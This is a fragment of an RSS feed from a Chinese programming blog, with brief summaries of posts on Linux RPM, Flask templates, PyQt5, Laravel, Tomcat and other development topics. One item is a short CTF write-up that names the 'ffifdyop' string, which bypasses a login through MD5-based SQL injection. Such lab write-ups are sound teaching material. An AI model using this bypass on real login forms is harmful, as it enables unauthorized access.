      <description>1. rpm包的管理&#xA;介绍：&#xA;一种用于互联网下载包的打包及安装工具，它包含在某些Linux分发版中，它生成具有RPM扩展名的文件，RPM是RedHat Package Manager（RedHat软件包管理工具）的缩写，类似windows的setup.exe，这一文件格式名称虽然打上了RedHat的标志，但理念是通用的&#xA;Linux的分发版本都有采用（suse,redhat, centos 等等），可以算是公认的行业标准了&#xA;2. rpm包的简单查询指令：&#xA;查询已安装的rpm列表 rpm –qa | grep xx（q表示query，a表示查询所有，grep表示过滤）&#xA;例如：查询Linux中是否安装有firefox&#xA;rpm -qa | grep firefox&#xA;rpm包名基本格式：&#xA;一个rpm包名：firefox-45.0.1-1.el6.centos.x86_64.rpm&#xA;名称:firefox&#xA;版本号：45.0.1-1&#xA;适用操作系统: el6.centos.x86_64 表示centos6.x的64位系统&#xA;如果是i686、i386表示32位系统，noarch表示通用&#xA;rpm包的其它查询指令：&#xA;rpm -qa：查询所安装的所有rpm软件包&#xA;rpm -qa | more ：查询所安装的所有rpm软件包 并且分页显示&#xA;rpm -qa | grep X [rpm -qa | grep firefox ] ：查询是否安装有某个软件（火狐的软件）&#xA;rpm -q 软件包名 ：查询软件包是否安装 rpm -q firefox&#xA;rpm -qi 软件包名 ：查询软件包信息&#xA;rpm -ql 软件包名 ：查询软件包中的文件的安装位置&#xA;rpm -qf 文件全路径名：查询文件所属的软件包 ，例如：rpm -qf /etc/passwd 3.</description>
    </item>
    <item>
      <title>flask中jinja2模板引擎详解– 块 (Block)和宏 (Macro)</title>
      <link>https://bchobby.github.io/posts/0b56fb278633b74c159948af88b49f09/</link>
      <pubDate>Fri, 17 Aug 2018 00:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b56fb278633b74c159948af88b49f09/</guid>
      <description>flask 考虑到模板代码的重用性，Jiaja2提供了块 (Block)和宏 (Macro)来提高代码的继承和复用性。其中块 (Block)的使用可以极大精简代码，可以通过继承（extend）扩展让大量代码重复使用，并在Block自由定制替换内容块；而宏 (Macro) 的使用更可以极大的提高模板的复用性，减少复杂度，类似于函数，可以传入参数。这篇我们就来学习下 块 (Block)和宏 (Macro)的用法。&#xA;块 (Block) 关于模板的继承，我们可以在子模板的顶部使用如”{% extend ‘base.html’ %}”语句来声明继承。而子模板中由”{% block block_name %}”和”{% endblock %}”所包括的语句块，将会替换父模板中同样由”{% block block_name %}”和”{% endblock %}”所包括的语句块。&#xA;这就是块的功能，模板语句的替换。这里要注意几个点：&#xA;模板不支持多继承，也就是子模板中定义的块，不可能同时替换两个父模板的块。模板中不能定义同名的块，因为这样无法确认替换块的内容。 建议在”endblock”关键字后也加上块名，比如”{% endblock block_name %}”，增加可读性。&#xA;使用父模板块 (Block)的内容 如果子模板想使用父模板中的块里的内容，请使用{{ super() }}。请看下面例子：&#xA;&amp;lt;!doctype html&amp;gt; &amp;lt;head&amp;gt; {% block head %} &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;{{ url_for(&#39;static&#39;, filename=&#39;style.css&#39;) }}&#34;&amp;gt; &amp;lt;title&amp;gt;{% block title %}{% endblock %}&amp;lt;/title&amp;gt; {% endblock %} &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;page&#34;&amp;gt; {% block body %} {% endblock %} &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 上面是父模板，我要在子模板里使用”head”块的css文件并增加新的文件，如下：</description>
    </item>
    <item>
      <title>android WebView 的shouldOverrideUrlLoading和onPageStarted</title>
      <link>https://bchobby.github.io/posts/d4f11ca270b638378c2a6b763b30941b/</link>
      <pubDate>Thu, 16 Aug 2018 22:00:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4f11ca270b638378c2a6b763b30941b/</guid>
      <description>shouldOverrideUrlLoading（下文简称拦截）执行在onPageStarted（下文简称加载）前面，如果拦截成功则不执行加载，有部分机型是不支持拦截的比如某米，有部分HTML代码是不支持拦截的，比如HTML里面有js写计时器。&#xA;首先示范正常的拦截（比如拦截http开头的网址）：&#xA;webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { String url = request.toString(); if (url.indexOf(&#34;http&#34;) != -1) { Toast.makeText(this, &#34;成功拦截http开头的网址&#34;, Toast.LENGTH_SHORT).show(); } return true; } }; 但是如果拦截装逼失败，比如某米的手机拦截不了 那么只能想办法在加载中拦截了，因为加载在拦截后面之后执行，如果拦截失败，加载就启动，如果拦截成功，就没加载什么事了。&#xA;下面是加载的代码：&#xA;webView.setWebViewClient(new WebViewClient() { @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { String urls = url; if (url.indexOf(&#34;http&#34;) != -1) { Toast.makeText(this, &#34;再次成功拦截http开头的网址，装逼成功&#34;, Toast.LENGTH_SHORT).show(); view.stopLoading();//这句的意思是让WebView 停止加载 } super.onPageStarted(view, url, favicon); } }; 注意：要想真正的拦截WebView 中的点击网址，那么上面的两种装逼方式都要加在new WebViewClient() {}里面。</description>
    </item>
    <item>
      <title>ctf解题--后台登录（web)</title>
      <link>https://bchobby.github.io/posts/a0c390c675db4160a3c0cc837e0342bf/</link>
      <pubDate>Thu, 16 Aug 2018 18:29:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0c390c675db4160a3c0cc837e0342bf/</guid>
      <description> 题目 格式：flag:{xxx} 解题链接： http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开连接 查看源码 通过post方式给password变量传值 md5加密后拼接sql查询语句到后台执行 后面的判断就是要求sql语句要成功执行&#xA;MD5函数 参考链接：http://www.w3school.com.cn/php/func_string_md5.asp&#xA;md5绕过 php在线执行工具：https://tool.lu/coderunner/ 根据链接名，合理猜测字符:ffifdyop&#xA;源码： 执行： 提交字符 </description>
    </item>
    <item>
      <title>react jsx 中使用 switch case 示例</title>
      <link>https://bchobby.github.io/posts/3ed36e527265713b8f29179a057e7f4c/</link>
      <pubDate>Thu, 16 Aug 2018 16:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed36e527265713b8f29179a057e7f4c/</guid>
      <description>&amp;lt;div&amp;gt;&#xA;&amp;lt;span&amp;gt;适用平台：&amp;lt;/span&amp;gt;&#xA;&amp;lt;span&amp;gt;{(() =&amp;gt; {&#xA;switch (currentItems.usePlatform) {&#xA;case 0:&#xA;return &#39;全平台可用&#39;&#xA;case 1:&#xA;return &#39;淘宝&#39;&#xA;case 2:&#xA;return &#39;美团&#39;&#xA;case 3:&#xA;return &#39;爱奇艺&#39;&#xA;case 4:&#xA;return &#39;腾讯&#39;&#xA;default:&#xA;return null&#xA;}&#xA;}&#xA;)()}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt; 转载于:https://www.cnblogs.com/Fanzifeng/p/9488271.html</description>
    </item>
    <item>
      <title>Apache ab 测试性能 常用命令</title>
      <link>https://bchobby.github.io/posts/b1417b124805abdd731d097b0323dc35/</link>
      <pubDate>Thu, 16 Aug 2018 14:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1417b124805abdd731d097b0323dc35/</guid>
      <description>Apache ab 下载解压即可：&#xA;-n&#xA;即requests，用于指定压力测试总共的执行次数。&#xA;-c&#xA;即concurrency，用于指定的并发数。&#xA;-t&#xA;即timelimit，等待响应的最大时间(单位：秒)。&#xA;-b&#xA;即windowsize，TCP发送/接收的缓冲大小(单位：字节)。&#xA;-p&#xA;即postfile，发送POST请求时需要上传的文件，此外还必须设置-T参数。&#xA;-u&#xA;即putfile，发送PUT请求时需要上传的文件，此外还必须设置-T参数。&#xA;-T&#xA;即content-type，用于设置Content-Type请求头信息，例如：application/x-www-form-urlencoded，默认值为text/plain。&#xA;-v&#xA;即verbosity，指定打印帮助信息的冗余级别。&#xA;-w&#xA;以HTML表格形式打印结果。&#xA;-i&#xA;使用HEAD请求代替GET请求。&#xA;-x&#xA;插入字符串作为table标签的属性。&#xA;-y&#xA;插入字符串作为tr标签的属性。&#xA;-z&#xA;插入字符串作为td标签的属性。&#xA;-C&#xA;添加cookie信息，例如：&#34;Apache=1234&#34;(可以重复该参数选项以添加多个)。&#xA;-H&#xA;添加任意的请求头，例如：&#34;Accept-Encoding: gzip&#34;，请求头将会添加在现有的多个请求头之后(可以重复该参数选项以添加多个)。&#xA;-A&#xA;添加一个基本的网络认证信息，用户名和密码之间用英文冒号隔开。&#xA;-P&#xA;添加一个基本的代理认证信息，用户名和密码之间用英文冒号隔开。&#xA;-X&#xA;指定使用的和端口号，例如:&#34;126.10.10.3:88&#34;。&#xA;-V&#xA;打印版本号并退出。&#xA;-k&#xA;使用HTTP的KeepAlive特性。&#xA;-d&#xA;不显示百分比。&#xA;-S&#xA;不显示预估和警告信息。&#xA;-g&#xA;输出结果信息到gnuplot格式的文件中。&#xA;-e&#xA;输出结果信息到CSV格式的文件中。&#xA;-r&#xA;指定接收到错误信息时不退出程序。&#xA;-h&#xA;显示用法信息，其实就是ab -help。&#xA;常用命令：&#xA;ab【命令】 -c【并发数】 100 -n【请求数】 100 -s【不显示警告】 URL&#xA;=====================================================================================&#xA;/compare&#xA;{&#xA;&#34;id&#34;: deviceId, 设备id</description>
    </item>
    <item>
      <title>组合计数 插板法</title>
      <link>https://bchobby.github.io/posts/fa47e45abb007d7a8f697194746e4c3e/</link>
      <pubDate>Thu, 16 Aug 2018 10:55:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa47e45abb007d7a8f697194746e4c3e/</guid>
      <description>转载 插板法就是在n个元素间的（n-1）个空中插入若干个（b）个板，可以把n个元素分成（b+1）组的方法。 应用插板法必须满足三个条件： （1）这n个元素必须互不相异 （2）所分成的每一组至少分得一个元素 （3）分成的组别彼此相异 把10个相同的小球放入3个不同的箱子，每个箱子至少一个，问有几种情况？ 问题的题干满足 条件（1）（2），适用插板法，c92=36 下面通过几道题目介绍下插板法的应用 a凑元素插板法（有些题目满足条件（1），不满足条件（2），此时可适用此方法） 例1：把10个相同的小球放入3个不同的箱子，问有几种情况？ 3个箱子都可能取到空球，条件（2）不满足，此时如果在3个箱子种各预先放入 1个小球，则问题就等价于把13个相同小球放入3个不同箱子，每个箱子至少一个，有几种情况？ 显然就是c12 2=66 例2：把10个相同小球放入3个不同箱子，第一个箱子至少1个，第二个箱子至少3个，第三个箱子可以放空球，有几种情况？ 我们可以在第二个箱子先放入10个小球中的2个，小球剩8个放3个箱子，然后在第三个箱子放入8个小球之外的1个小球，则问题转化为 把9个相同小球放3不同箱子，每箱至少1个，几种方法？c8 2=28 HDU3037 Saving Beans Lucas 定理+逆元&#xA;b添板插板法 例3：把10个相同小球放入3个不同的箱子，问有几种情况？ -o - o - o - o - o - o - o - o - o - o -o表示10个小球，-表示空位 11个空位中取2个加入2块板，第一组和第三组可以取到空的情况，第2组始终不能取空 此时 若在 第11个空位后加入第12块板，设取到该板时，第二组取球为空 则每一组都可能取球为空c12 2=66 例4：有一类自然数，从第三个数字开始，每个数字都恰好是它前面两个数字之和，直至不能再写为止，如257，1459等等，这类数共有几个？ 因为前2位数字唯一对应了符合要求的一个数，只要求出前2位有几种情况即可，设前两位为ab 显然a+b&amp;lt;=9 ,且a不为0 1 -1- 1 -1 -1 -1 -1 -1 -1 --1代表9个1，-代表10个空位 我们可以在这9个空位中插入2个板，分成3组，第一组取到a个1，第二组取到b个1，但此时第二组始终不能取空，若多添加第10个空时，设取到该板时第二组取空，即b=0，所以一共有 c10 2=45 例5：有一类自然数，从第四个数字开始，每个数字都恰好是它前面三个数字之和，直至不能再写为止，如2349，1427等等，这类数共有几个？ 类似的，某数的前三位为abc，a+b+c&amp;lt;=9,a不为0 1 -1- 1 -1 -1 -1 -1 -1 -1 - - - 在9个空位种插如3板，分成4组，第一组取a个1，第二组取b个1，第三组取c个1，由于第二，第三组都不能取到空，所以添加2块板 设取到第10个板时，第二组取空，即b=0；取到第11个板时，第三组取空，即c=0。所以一共有c11 3=165 c选板法 例6：有10粒糖，如果每天至少吃一粒(多不限)，吃完为止，求有多少种不同吃法？ o - o - o - o - o - o - o - o - o - o o代表10个糖，-代表9块板 10块糖，9个空，插入9块板，每个板都可以选择放或是不放，相邻两个板间的糖一天吃掉 这样一共就是 2^9= 512啦 d分类插板 例7：小梅有15块糖，如果每天至少吃3块，吃完为止，那么共有多少种不同的吃法？ 此问题不能用插板法的原因在于没有规定一定要吃几天，因此我们需要对吃的天数进行分类讨论 最多吃5天，最少吃1天 1： 吃1天或是5天，各一种吃法 一共2种情况 2：吃2天，每天预先吃2块，即问11块糖，每天至少吃1块，吃2天，几种情况？c10 1=10 3：吃3天，每天预先吃2块，即问9块糖，每天至少1块，吃3天?</description>
    </item>
    <item>
      <title>C语言简单实现折半查找法</title>
      <link>https://bchobby.github.io/posts/d6812e1b4d185b7183a79f3eef5dca7b/</link>
      <pubDate>Thu, 16 Aug 2018 08:27:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6812e1b4d185b7183a79f3eef5dca7b/</guid>
      <description> 介绍 折半查找，又称作二分查找。这个查找的算法的特点，就是，要求数据要是有序的。&#xA;1 ，存储结构一定是顺序存储&#xA;2 ，关键字大小必须有序排列&#xA;算法思想：折半查找只能在有序数列中进行，将待查找的数据与有序数列（递增）中间的元素进行比较，如果相等，则找到；如果待查找的数据大于中间的元素的值，那么再从数组的后一半元素中进行查找，否则，从前一半元素中进行查找；若折半后都找不到，则输出“没找着”等提示信息。 代码实现: #include &amp;lt;stdio.h&amp;gt; void main() { int a[10],num,low,high,mid,i,flag=0; printf(&#34;input the array:&#34;); for(i=0;i&amp;lt;=9;i++) { scanf(&#34;%d&#34;,&amp;amp;a[i]); } printf(&#34;input finding number:&#34;); scanf(&#34;%d&#34;,&amp;amp;num); low=0; high=9; while(low&amp;lt;=high) { mid=(low+high)/2; printf(&#34;low=%d,mid=%d,high=%d\n&#34;,low,mid,high); if(a[mid]&amp;gt;num) { high=mid-1; } if(a[mid]&amp;lt;num) { low=mid+1; } if(a[mid]==num) { flag=1; break; } } if(flag) { printf(&#34;found!\n&#34;); } else { printf(&#34;not found!\n&#34;); } } 运行结果 </description>
    </item>
    <item>
      <title>PyQt5布局管理之QGridLayout（三）</title>
      <link>https://bchobby.github.io/posts/fe8e9e0c5b2c4eec08775613e48574aa/</link>
      <pubDate>Wed, 15 Aug 2018 11:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe8e9e0c5b2c4eec08775613e48574aa/</guid>
      <description>QGridLayout 前言 QGridLayout（网格布局）是将窗口分割成行和列的网格来进行排列，通常可以使用函数addWidget（）将被管理的控件（Widget）添加到窗口中，或者使用addLayout（）函数将布局（layout）添加到窗口中，也可以通过addWIdget（）函数对所添加的控件设置行数与列数的跨越，最后实现网格占据多个窗格&#xA;QGridLayout类中常用的方法 方法描述addWidget(QWidget Widget,int row,int col,int alignment=0)给网格布局添加部件，设置指定的行和列，起始位置的默认值为（0,0）widget：所添加的控件row：控件的行数，默认从0开始column：控件的列数，默认从0开始alignment：对齐方式addWidget(QWidget widget,int fromRow,int fromColulmn,int rowSpan,int columnSpan,Qt.Alignment alignment=0)所添加的的控件跨越很多行或者列的时候，使用这个函数widget：所添加的控件fromRow：控件的起始行数fronColumn：控件的起始列数rowSpan：控件跨越的行数column：控件跨越的列数alignment：对齐方式setSpacing(int spacing)设置软件在水平和垂直方向的间隔 实例一：单一的网格单元格 import sys from PyQt5.QtWidgets import QApplication ,QWidget , QGridLayout, QPushButton class Winform(QWidget): def __init__(self,parent=None): super(Winform,self).__init__(parent) self.initUI() def initUI(self): #1创建QGridLayout的实例，并设置窗口的布局 grid = QGridLayout() self.setLayout(grid) #2创建按钮的标签列表 names = [&#39;Cls&#39;, &#39;Back&#39;, &#39;&#39;, &#39;Close&#39;, &#39;7&#39;, &#39;8&#39;, &#39;9&#39;, &#39;/&#39;, &#39;4&#39;, &#39;5&#39;, &#39;6&#39;, &#39;*&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;-&#39;, &#39;0&#39;, &#39;.&#39;, &#39;=&#39;, &#39;+&#39;] #3 在网格中创建一个位置列表 positions = [(i,j) for i in range(5) for j in range(4)] #4 创建按钮并通过addWIdget（）方法添加到布局中 for position, name in zip(positions, names): if name == &#39;&#39;: continue button = QPushButton(name) grid.</description>
    </item>
    <item>
      <title>laravel中取header头部信息取不到的相关问题</title>
      <link>https://bchobby.github.io/posts/7860fea189a0bbf0c5bcd939ff0b7d5d/</link>
      <pubDate>Tue, 14 Aug 2018 23:53:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7860fea189a0bbf0c5bcd939ff0b7d5d/</guid>
      <description>今天和移动端对接的时候，移动端把一些公共参数放在了 header 了，&#xA;然而在 laravel 中使用&#xA;\Illuminate\Http\Request; //这个是获取所有header信息 Request::header(); //这个是获取header里面的version参数值 Request::header(&#39;version&#39;); 这些是可以满足需求获取到参数的。&#xA;但是偏偏这次出问题了。新加的参数怎么都是取不到，还以为是什么缓存问题，或者是哪里去除了，又或者带参数有个数限制。&#xA;结果调试了半天发现是移动端传参数的时候是不能在命名参数中带 _ （下划线的），&#xA;如 app_version，book_id 这样的是有问题的&#xA;需要去除下划线，或换成 - 都是可以的！&#xA;遇见这个坑记录一下，希望大家别踩啦！&#xA;-------------------------------------------------------------------&#xA;ps：今天调试中又发现 header 中是不能带 中文 过来的，如果带 中文 过来后端在 header 头中是拿不到值的。&#xA;初步测试是这样，如果有问题请大家指正哈！&#xA;-----------------------------------------------------------------&#xA;2018年11月1日&#xA;后续发现是Nginx中配置限制了这个，还是自己知道的太少了！！！&#xA;解决方法：&#xA;1：配置中http部分 增加underscores_in_headers on; 配置 2：用减号-替代下划线符号_，避免这种变态问题。nginx默认忽略掉下划线可能有些原因。 引用：http://zhaoshijie.iteye.com/blog/2371440</description>
    </item>
    <item>
      <title>Oracle：ORA-00911: 无效字符</title>
      <link>https://bchobby.github.io/posts/3ccaf596d662f1d284661b78d916dc03/</link>
      <pubDate>Tue, 14 Aug 2018 18:21:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ccaf596d662f1d284661b78d916dc03/</guid>
      <description>Hibernate的SQLQuery查询SQL的时候报的异常：ORA-00911: 无效字符；&#xA;库是Oracle：&#xA;打印sql直接在plsql中执行是没问题的，但是在java代码中执行的时候就会报异常：ORA-00911: 无效字符；&#xA;其问题根源在SQL的最后结尾处的一个冒号&#34;；&#34;，应该去掉SQL最后的&#34;;&#34;，之后再重启就没问题了；</description>
    </item>
    <item>
      <title>PyQt5高级界面控件之QStackedWidget(七)</title>
      <link>https://bchobby.github.io/posts/beebce247473211ea9a3ea70db88ea2d/</link>
      <pubDate>Tue, 14 Aug 2018 16:23:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/beebce247473211ea9a3ea70db88ea2d/</guid>
      <description>QStackedWidget 前言 QTackedWidget是一个堆栈窗口控件，可以填充一些小控件，但是同一时间只有一个小控件可以显示，QStackedWidget使用QStackedLayout布局。QSTackedWidget控件与QTabWidget类似，可以有效的显示窗口的控件&#xA;实例：QStackedWidget的使用 import sys from PyQt5.QtGui import * from PyQt5.QtCore import * from PyQt5.QtWidgets import * class StackedExample(QWidget): def __init__(self): super(StackedExample, self).__init__() #设置窗口初始位置和大小 self.setGeometry(300,50,10,10) self.setWindowTitle(&#39;StackedWidget 例子&#39;) #创建列表窗口，添加条目 self.leftlist=QListWidget() self.leftlist.insertItem(0,&#39;联系方式&#39;) self.leftlist.insertItem(1,&#39;个人信息&#39;) self.leftlist.insertItem(2,&#39;教育程度&#39;) #创建三个小控件 self.stack1=QWidget() self.stack2=QWidget() self.stack3=QWidget() self.stack1UI() self.stack2UI() self.stack3UI() #在QStackedWidget对象中填充了三个子控件 self.stack=QStackedWidget(self) self.stack.addWidget(self.stack1) self.stack.addWidget(self.stack2) self.stack.addWidget(self.stack3) #水平布局，添加部件到布局中 HBox=QHBoxLayout() HBox.addWidget(self.leftlist) HBox.addWidget(self.stack) self.setLayout(HBox) self.leftlist.currentRowChanged.connect(self.display) def stack1UI(self): layout=QFormLayout() layout.addRow(&#39;姓名&#39;,QLineEdit()) layout.addRow(&#39;地址&#39;,QLineEdit()) self.stack1.setLayout(layout) def stack2UI(self): # zhu表单布局，次水平布局 layout = QFormLayout() sex = QHBoxLayout() # 水平布局添加单选按钮 sex.</description>
    </item>
    <item>
      <title>解决修改css或js文件后，浏览器缓存未更新问题</title>
      <link>https://bchobby.github.io/posts/46742f0e3b17168f9bda8be8316187cc/</link>
      <pubDate>Tue, 14 Aug 2018 14:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46742f0e3b17168f9bda8be8316187cc/</guid>
      <description>问题描述：最近在上线新版本项目的时候，发现有的用户的操作还是调用的老版本JS里面的内容，这样就造成原来新的JS里面加上的限制不能限制用户的操作，从而导致用户可以重复操作。&#xA;问题产生原因：&#xA;如果在用户之前已经访问过系统，那么浏览器中会缓存该系统的CSS、JS，这些CSS、JS缓存未过期之前，浏览器只会从缓存中读取CSS和JS，如果在服务器上修改了css和js，那么这些修改在用户的浏览器中是不会有变化的。&#xA;解决方式一：&#xA;用户按Ctrl + F5强制刷新页面或者手动清空了浏览器的缓存。此时浏览器会重新向服务器获取CSS和JS文件,新的文件便会生效。&#xA;解决方式二：&#xA;但是用户量过大的时候总不能让每个用户一一清理缓存吧，于是便从代码的角度着手解决这个问题。在js后面添加版本号，让浏览器把这个JS文件当做新的文件重新向服务器获取资源。&#xA;加版本号前：&#xA;&amp;lt;script type=&#34;text/javascript&#34; th:src=&#34;@{/js/test/index.js}&#34;&amp;gt;&amp;lt;/script&amp;gt; 加版本号后：&#xA;&amp;lt;script type=&#34;text/javascript&#34; th:src=&#34;@{/js/test/index.js?v=1.0}&#34;&amp;gt;&amp;lt;/script&amp;gt; 此时问题解决，CSS与上类似。&#xA;问题延伸：&#xA;但是JS文件或CSS过多的情况下需要一个一个的去修改版本号，会花费大量的时间，此时就需要版本号是动态获取的了。&#xA;更换为从messages.properties中读取 &amp;lt;script type=&#34;text/javascript&#34; th:src=&#34;@{/js/test/index.js(v=#{js.version})}&#34;&amp;gt;&amp;lt;/script&amp;gt; 目录结构如下&#xA;messages.properties内容如下&#xA;js.version=2.0 注意：如果要读取到配置文件内容，配置文件名必须是messages.properties。否则会出现以下错误&#xA;下面是正常的&#xA;到此动态修改JS文件版本号结束。当然配置文件名也支持自定义，只需在application.yml文件中加入一下内容指定文件名&#xA;spring: messages: basename: test 此时可以将messages.properties文件更换为test.properties，指定文件名的时候也可以加上文件目录,不一定放在resources目录下，只是默认在这个目录下。&#xA;总结:&#xA;通过对JS的改动就可以使浏览器重新从服务器获取JS文件，虽然只是一个小的需求，但是减小了用户操作的麻烦以及JS不同步更新的问题。一个小小的细节，可以给我们带来很大的方便。</description>
    </item>
    <item>
      <title>快速设置ipv6</title>
      <link>https://bchobby.github.io/posts/b97f37127de57a73eabc4744de5dcd92/</link>
      <pubDate>Mon, 13 Aug 2018 23:41:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b97f37127de57a73eabc4744de5dcd92/</guid>
      <description> 如今科学上网大都需要开启ipv6，设置的方法也多种多样，这儿记录配置ipv6的相关指令&#xA;相关命令 netsh interface teredo set state enterpriseclient server=default // 第一种：设置 Teredo服务器，默认为：win10.ipv6.microsoft.comnetsh interface teredo set state server=teredo.remlab.net //第二种：修改 Teredo 服务器为teredo.remlab.net&#xA;ping -6 ipv6.test-ipv6.com ping -6 [2001:470:1:18::125] //测试 IPv6 连接是否成功，两个命令效果一样&#xA;netsh interface ipv6 reset // 重置 IPv6 配置&#xA;netsh interface Teredo set state disable netsh interface Teredo set state type=default //卸载当前 Teredo 适配器再重新启用 以上命令中，1和2是平行操作，通常使用第一种就能配置成功；3为测试ipv6服务是否成功开启；如果1，2之后仍然不能成功，再尝试4，5操作重置服务之后再进行1或2。 注：操作4需要管理员权限，且重启后才能生效&#xA;参考资料 如何开启ipv6 </description>
    </item>
    <item>
      <title>Java中数组越界的问题</title>
      <link>https://bchobby.github.io/posts/a7dda7157aa337c2082565aaa1066d3f/</link>
      <pubDate>Sat, 11 Aug 2018 19:54:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7dda7157aa337c2082565aaa1066d3f/</guid>
      <description>1. 以前刚开始接触Java的时候发现Java中数组越界的问题真的是好难解决，有时候长一点的程序逻辑复杂一点就找不出错误了，现在时间久了之后发现数组越界中最常见的就是：一开始的时候定义了了数组的长度，由于某种原因导致在输出语句的时候或者赋值的时候超出了数组的最大长度&#xA;2. 当发生数组越界之后控制台会有提示的，...outofIndex...的错误，而且最重要的是它会提示出第几行，只要在出现错误的那行仔细分析看看是不是输出语句的时候或者赋值的时候超出了数组的最大长度，修改一下代码就可以了</description>
    </item>
    <item>
      <title>Eclipse下启动tomcat（server）之后访问localhost报404异常的解决</title>
      <link>https://bchobby.github.io/posts/9573bb7b49ffbc02bb238c410331c8fd/</link>
      <pubDate>Sat, 11 Aug 2018 16:41:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9573bb7b49ffbc02bb238c410331c8fd/</guid>
      <description>先找到问题出在哪里&#xA;一.排查tomcat本身 停掉eclipse中的tomcat，打开tomcat的本地安装目录，bin文件夹下点击startup（手动直接启动），会跳出cmd窗口。有两种可能：&#xA;1.如果可以启动，即cmd窗口显示了完整的加载信息，可以看到最后一行为“信息: Server startup in xxxx ms”，不要关闭这个窗口，访问localhost，可以看到tomcat首页。这就说明环境配置和tomcat 软件本身是没问题的，问题出在eclipse中的配置，参看第二步；&#xA;2.若是点击startup出现cmd一闪而过，则说明tomcat本身有问题，（以下内容参考自这位同学：https://blog.csdn.net/stypace/article/details/38083581）&#xA;先用记事本打开startup.bat（或者鼠标右键，点编辑），找到最后一句话：:end，我们知道end表示结束的意思，:end是一个标记，我们在后面加上一句pause(暂停等待的意思)&#xA;再次执行startup.bat，就会看到上图，当我们按任意的键时cmd窗口又是一闪而过了。但是这已经确定了我们的环境变量都是正确的。如果根本不停留，那就是环境配置不对，需要检查环境变量是否异常（具体请另行百度）。&#xA;为了更加详细的看到信息，我们再来更改一句：找到call &#34;%EXECUTABLE%&#34; start %CMD_LINE_ARGS% 把里面的start替换为run。&#xA;再来看看cmd窗口里面输出错误信息了，具体信息各有不同，像我就是因为之前有个项目部署在tomcat中时修改过server.xml中的host配置，导致每次启动都会去加载那个已经不存在的项目，自然不能正常启动了。也可以直接打开tomcat安装目录下的logs文件夹，查看catalina里面的日志信息，同样能找出异常原因。针对这些原因去修正你的配置（这些信息eclipse控制台一般是不显示的）。再次启动startup.bat会看到已经启动成功了(记得把之前修改的内容run、pause还原回去)。此时在访问localhost就不会报错了。&#xA;二.排查eclipse中的配置 关掉cmd，在eclipse中新建一个server，不要添加项目，直接启动，再访问localhost，如果依然是404，stop之后，双击Server窗口中的服务器，打开服务器属性窗口&#xA;Server Locations选择第二个选项Use Tomcat Installation&#xA;系统默认选择第一个选项；&#xA;第一个选项指的是将项目保存在workspace路径下；&#xA;第二个选项指的是将项目保存至tomcat安装目录下，我们一般选择这个，这样就不用再手动部署到tomcat文件下了；&#xA;第三个选项是自定义项目保存路径。&#xA;选择完毕之后，ctrl+s保存。再访问一下localhost就可以正常显示了。至此，tomcat的配置都正常了，添加需要部署的项目，如果negotiations正常访问就对了，如果还是不行，那就是项目本身配置有问题，需要检查项目本身了。&#xA;————————————————————————2020分割线—————————————————— 补充 最近因为项目原因更新了jdk，使用了jdk1.8，开发时用的一个专用IDE，它集成了web容器，所以很长时间没用tomacat。今天在tomcat下部署一个war包，启动时又是华丽丽的一闪而过……而且这次更坑，连错都不报了，startup.bat加pause也看不到情况，后来在call &#34;%EXECUTABLE%&#34; start %CMD_LINE_ARGS%这一行，改start为run，终于看到一点端倪：Error occurred during initialization of VM java/lang/NoClassDefFoundError: java/lang/Object——类的老祖宗找不到了！！！ 这就是jdk环境问题了，先检查环境变量，cmd运行java -version，没问题；运行javac，不行，错误就是上面那些。看看路径配置是否正确（具体参考：https://blog.csdn.net/yzliang2016/article/details/77680601），我的路径配置是正确的，打开jdk下jre下bin，发现没有rt.jar。基础类库都在这个包里，没它自然不行，要补上。jdk1.8安装时有两个文件夹，C:\Program Files\Java下分为jdk与jre（jdk里面也有一个jre，与外面这个不一样），从jre中找到rt.jar，直接复制过来，cmd运行javac，不报错，但是一堆乱码（中文解释乱码）。这时启动tomcat，还是不行的。于是先将jdk/bin/jre下的bin重命名bin_old（保险），再将外面那个jre的整个bin复制过来，cmd运行javac，可以了。启动tomacat，也可以了。&#xA;应该还有一种解决方法，即修改环境变量中jre的路径为与jdk同级的那个jre，但是没有试过。</description>
    </item>
    <item>
      <title>nc项目开发总结</title>
      <link>https://bchobby.github.io/posts/fc091c1f85cff648f54d1d9b68034fcb/</link>
      <pubDate>Sat, 11 Aug 2018 11:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc091c1f85cff648f54d1d9b68034fcb/</guid>
